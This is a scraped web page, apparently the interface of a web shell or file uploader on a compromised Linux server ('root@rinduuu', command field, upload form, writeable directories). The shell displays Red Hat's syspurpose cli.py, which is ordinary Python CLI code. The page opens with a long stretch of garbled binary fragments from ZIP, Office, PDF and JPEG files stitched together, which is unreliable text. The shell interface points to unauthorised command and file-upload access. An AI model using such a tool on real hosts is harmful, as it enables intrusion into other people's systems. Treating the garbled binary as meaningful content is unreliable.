œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /usr/lib/python3.6/site-packages/syspurpose/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/lib/python3.6/site-packages/syspurpose/cli.py
# -*- coding: utf-8 -*-

from __future__ import print_function, division, absolute_import
#
# Copyright (c) 2018 Red Hat, Inc.
#
# This software is licensed to you under the GNU General Public License,
# version 2 (GPLv2). There is NO WARRANTY for this software, express or
# implied, including the implied warranties of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. You should have received a copy of GPLv2
# along with this software; if not, see
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.
#
# Red Hat trademarks are not licensed under GPLv2. No permission is
# granted to use or replicate Red Hat trademarks that are incorporated
# in this software or its documentation.

import argparse
import os
import sys
import six

from syspurpose.files import SyncedStore
from syspurpose.utils import in_container, make_utf8
from syspurpose.i18n import ugettext as _
import json


SP_CONFLICT_MESSAGE = _("Warning: A {attr} of \"{download_value}\" was recently set for this system "
                        "by the entitlement server administrator.\n{advice}")
SP_ADVICE = _("If you'd like to overwrite the server side change please run: {command}")


def add_command(args, syspurposestore):
    """
    Uses the syspurposestore to add one or more values to a particular property.
    :param args: The parsed args from argparse, expected attributes are:
        prop_name: the string name of the property to add to
        values: A list of the values to add to the given property (could be anything json-serializable)
    :param syspurposestore: An SyspurposeStore object to manipulate
    :return: None
    """
    any_prop_added = False
    for value in args.values:
        if syspurposestore.add(args.prop_name, value):
            any_prop_added = True
            print(_("Added \"{value}\" to {prop_name}.").format(
                value=make_utf8(value), prop_name=make_utf8(args.prop_name)))
        else:
            print(_("Not adding value \"{value}\" to {prop_name}; it already exists.").format(
                value=make_utf8(value), prop_name=make_utf8(args.prop_name)))

    if any_prop_added is False:
        return

    success_msg = _("{attr} updated.").format(attr=make_utf8(args.prop_name))
    to_add = "".join(args.values)
    command = "syspurpose add-{name} ".format(name=args.prop_name) + to_add
    check_result(
        syspurposestore,
        expectation=lambda res: all(x in res.get(args.prop_name, []) for x in args.values),
        success_msg=success_msg,
        command=command,
        attr=args.prop_name
    )


def remove_command(args, syspurposestore):
    """
    Uses the syspurposestore to remove one or more values from a particular property.
    :param args: The parsed args from argparse, expected attributes are:
        prop_name: the string name of the property to add to
        values: A list of the values to remove from the given property (could be anything json-serializable)
    :param syspurposestore: An SyspurposeStore object to manipulate
    :return: None
    """
    for value in args.values:
        if syspurposestore.remove(args.prop_name, value):
            print(_("Removed \"{val}\" from {name}.").format(val=make_utf8(value), name=make_utf8(args.prop_name)))
        else:
            print(_("Not removing value \"{val}\" from {name}; it was not there.").format(
                val=make_utf8(value), name=make_utf8(args.prop_name)))
            return

    success_msg = _("{attr} updated.").format(attr=make_utf8(args.prop_name))
    to_remove = "".join(args.values)
    command = "syspurpose remove-{name} ".format(name=args.prop_name) + to_remove
    check_result(
        syspurposestore,
        expectation=lambda res: all(x not in res.get('addons', []) for x in args.values),
        success_msg=success_msg,
        command=command,
        attr=args.prop_name
    )


def set_command(args, syspurposestore):
    """
    Uses the syspurposestore to set the prop_name to value.
    :param args: The parsed args from argparse, expected attributes are:
        prop_name: the string name of the property to set
        value: An object to set the property to (could be anything json-serializable)
    :param syspurposestore: An SyspurposeStore object to manipulate
    :return: None
    """
    syspurposestore.set(args.prop_name, args.value)

    success_msg = _("{attr} set to \"{val}\".").format(attr=make_utf8(args.prop_name), val=make_utf8(args.value))
    check_result(
        syspurposestore,
        expectation=lambda res: res.get(args.prop_name) == args.value,
        success_msg=success_msg,
        command="syspurpose set {name} \"{val}\"".format(
            name=args.prop_name, val=args.value),
        attr=args.prop_name
    )


def unset_command(args, syspurposestore):
    """
    Uses the syspurposestore to unset (clear entirely) the prop_name.
    :param args: The parsed args from argparse, expected attributes are:
        prop_name: the string name of the property to unset (clear)
    :param syspurposestore: An SyspurposeStore object to manipulate
    :return: None
    """
    syspurposestore.unset(args.prop_name)

    success_msg = _("{attr} unset.").format(attr=make_utf8(args.prop_name))
    check_result(
        syspurposestore,
        expectation=lambda res: res.get(args.prop_name) in ["", None, []],
        success_msg=success_msg,
        command="syspurpose unset {name}".format(name=args.prop_name),
        attr=args.prop_name
    )


def show_contents(args, syspurposestore):
    """
    :param args:
    :param syspurposestore:
    :return:
    """
    sync_result = syspurposestore.sync()
    contents = sync_result.result
    contents = {key: contents[key] for key in contents if contents[key]}
    print(json.dumps(contents, indent=2, ensure_ascii=False, sort_keys=True))
    return sync_result


def setup_arg_parser():
    """
    Sets up argument parsing for the syspurpose tool.
    :return: An argparse.ArgumentParser ready to use to parse_args
    """
    parser = argparse.ArgumentParser(prog="syspurpose", description=_("System Syspurpose Management Tool"),
                                     epilog=_("The 'syspurpose' command is deprecated and will be removed in a future major release."
                                                " Please use the 'subscription-manager syspurpose' command going forward."))

    subparsers = parser.add_subparsers(help="sub-command help")

    # Arguments shared by subcommands
    add_options = argparse.ArgumentParser(add_help=False)
    add_options.add_argument("values", help=_("The value(s) to add"), nargs='+')
    add_options.set_defaults(func=add_command, requires_sync=True)

    remove_options = argparse.ArgumentParser(add_help=False)
    remove_options.add_argument("values", help=_("The value(s) to remove"), nargs='+')
    remove_options.set_defaults(func=remove_command, requires_sync=True)

    set_options = argparse.ArgumentParser(add_help=False)
    set_options.add_argument("value", help=_("The value to set"), action="store")
    set_options.set_defaults(func=set_command, requires_sync=True)

    unset_options = argparse.ArgumentParser(add_help=False)
    unset_options.set_defaults(func=unset_command, requires_sync=True)

    # Generic assignments
    # Set ################
    generic_set_parser = subparsers.add_parser(
        "set",
        help=_("Sets the value for the given property")
    )

    generic_set_parser.add_argument(
        "prop_name",
        metavar="property",
        help=_("The name of the property to set/update"),
        action="store"
    )

    generic_set_parser.add_argument(
        "value",
        help=_("The value to set"),
        action="store"
    )

    generic_set_parser.set_defaults(func=set_command, requires_sync=True)

    # Unset ##############
    generic_unset_parser = subparsers.add_parser(
        "unset",
        help=_("Unsets (clears) the value for the given property"),
        parents=[unset_options]
    )

    generic_unset_parser.add_argument(
        "prop_name",
        metavar="property",
        help=_("The name of the property to set/update"),
        action="store"
    )

    # Add ################
    generic_add_parser = subparsers.add_parser(
        "add",
        help=_("Adds the value(s) to the given property")
    )

    generic_add_parser.add_argument(
        "prop_name",
        metavar="property",
        help=_("The name of the property to update"),
        action="store"
    )

    generic_add_parser.add_argument(
        "values",
        help=_("The value(s) to add"),
        action="store",
        nargs="+"
    )

    generic_add_parser.set_defaults(func=add_command, requires_sync=True)

    # Remove #############
    generic_remove_parser = subparsers.add_parser(
        "remove",
        help=_("Removes the value(s) from the given property")
    )

    generic_remove_parser.add_argument(
        "prop_name",
        metavar="property",
        help=_("The name of the property to update"),
        action="store"
    )

    generic_remove_parser.add_argument(
        "values",
        help=_("The value(s) to remove"),
        action="store",
        nargs="+"
    )

    generic_remove_parser.set_defaults(func=remove_command, requires_sync=True)
    # Targeted commands
    # Roles ##########
    set_role_parser = subparsers.add_parser(
        "set-role",
        help=_("Set the system role to the system syspurpose"),
        parents=[set_options]
    )
    # TODO: Set prop_name from schema file
    set_role_parser.set_defaults(prop_name="role")

    unset_role_parser = subparsers.add_parser(
        "unset-role",
        help=_("Clear set role"),
        parents=[unset_options]
    )
    unset_role_parser.set_defaults(prop_name="role")

    # ADDONS #############
    add_addons_parser = subparsers.add_parser(
        "add-addons",
        help=_("Add addons to the system syspurpose"),
        parents=[add_options]
    )
    # TODO: Set prop_name from schema file
    add_addons_parser.set_defaults(prop_name="addons")

    remove_addons_parser = subparsers.add_parser(
        "remove-addons",
        help=_("Remove addons from the system syspurpose"),
        parents=[remove_options]
    )
    remove_addons_parser.set_defaults(prop_name="addons")

    unset_role_parser = subparsers.add_parser(
        "unset-addons",
        help=_("Clear set addons"),
        parents=[unset_options]
    )
    unset_role_parser.set_defaults(prop_name="addons")

    # SLA ################
    set_sla_parser = subparsers.add_parser(
        "set-sla",
        help=_("Set the system sla"),
        parents=[set_options]
    )
    set_sla_parser.set_defaults(prop_name="service_level_agreement")

    unset_sla_parser = subparsers.add_parser(
        "unset-sla",
        help=_("Clear set sla"),
        parents=[unset_options]
    )
    unset_sla_parser.set_defaults(prop_name="service_level_agreement")

    # USAGE ##############
    set_usage_parser = subparsers.add_parser(
        "set-usage",
        help=_("Set the system usage"),
        parents=[set_options]
    )

    set_usage_parser.set_defaults(prop_name="usage")

    unset_usage_parser = subparsers.add_parser(
        "unset-usage",
        help=_("Clear set usage"),
        parents=[unset_options]
    )
    unset_usage_parser.set_defaults(prop_name="usage")

    # Pretty Print Json contents of default syspurpose file
    show_parser = subparsers.add_parser(
        "show",
        help=_("Show the current system syspurpose")
    )
    show_parser.set_defaults(func=show_contents, requires_sync=False)

    return parser


def main():
    """
    Run the cli (Do the syspurpose tool thing!!)
    :return: 0
    """

    parser = setup_arg_parser()
    args = parser.parse_args()

    # Syspurpose is not intended to be used in containers for the time being (could change later).
    if in_container():
        print(_("WARNING: Setting syspurpose in containers has no effect.\n"
              "Please run syspurpose on the host.\n"))

    print(_("The 'syspurpose' command is deprecated and will be removed in a future major release."
        " Please use the 'subscription-manager syspurpose' command going forward."), file=sys.stderr)
    try:
        from subscription_manager.identity import Identity
        from subscription_manager.cp_provider import CPProvider
        identity = Identity()
        uuid = identity.uuid
        uep = CPProvider().get_consumer_auth_cp()
    except ImportError:
        uuid = None
        uep = None
        print(_("Warning: Unable to sync system purpose with subscription management server:"
                " subscription_manager module is not available."))

    syspurposestore = SyncedStore(uep=uep, consumer_uuid=uuid, use_valid_fields=True)
    if getattr(args, 'func', None) is not None:
        args.func(args, syspurposestore)
    else:
        parser.print_help()
        return 0

    return 0


def system_exit(code, msgs=None):
    """
    Exit with a code and optional message(s). Saved a few lines of code.
    Note: this method was copied from subscription_manager, because syspurpose should be independent
    on subscription_manager module as much as possible.
    """

    if msgs:
        if type(msgs) not in [type([]), type(())]:
            msgs = (msgs, )
        for msg in msgs:
            if isinstance(msg, Exception):
                msg = "%s" % msg

            if isinstance(msg, six.text_type) and six.PY2:
                sys.stderr.write(msg.encode("utf8"))
                sys.stderr.write("\n")
            else:
                sys.stderr.write(msg)
                sys.stderr.write("\n")

    try:
        sys.stdout.flush()
        sys.stderr.flush()
    except IOError:
        pass

    sys.exit(code)


def check_result(syspurposestore, expectation, success_msg, command, attr):
    if syspurposestore:
        syspurposestore.sync()
        result = syspurposestore.get_cached_contents()
    else:
        result = {}
    if result and not expectation(result):
        advice = SP_ADVICE.format(command=command)
        value = result[attr]
        system_exit(
            os.EX_SOFTWARE,
            msgs=_(SP_CONFLICT_MESSAGE.format(
                attr=attr,
                download_value=value,
                advice=advice
            ))
        )
    else:
        print(success_msg)

........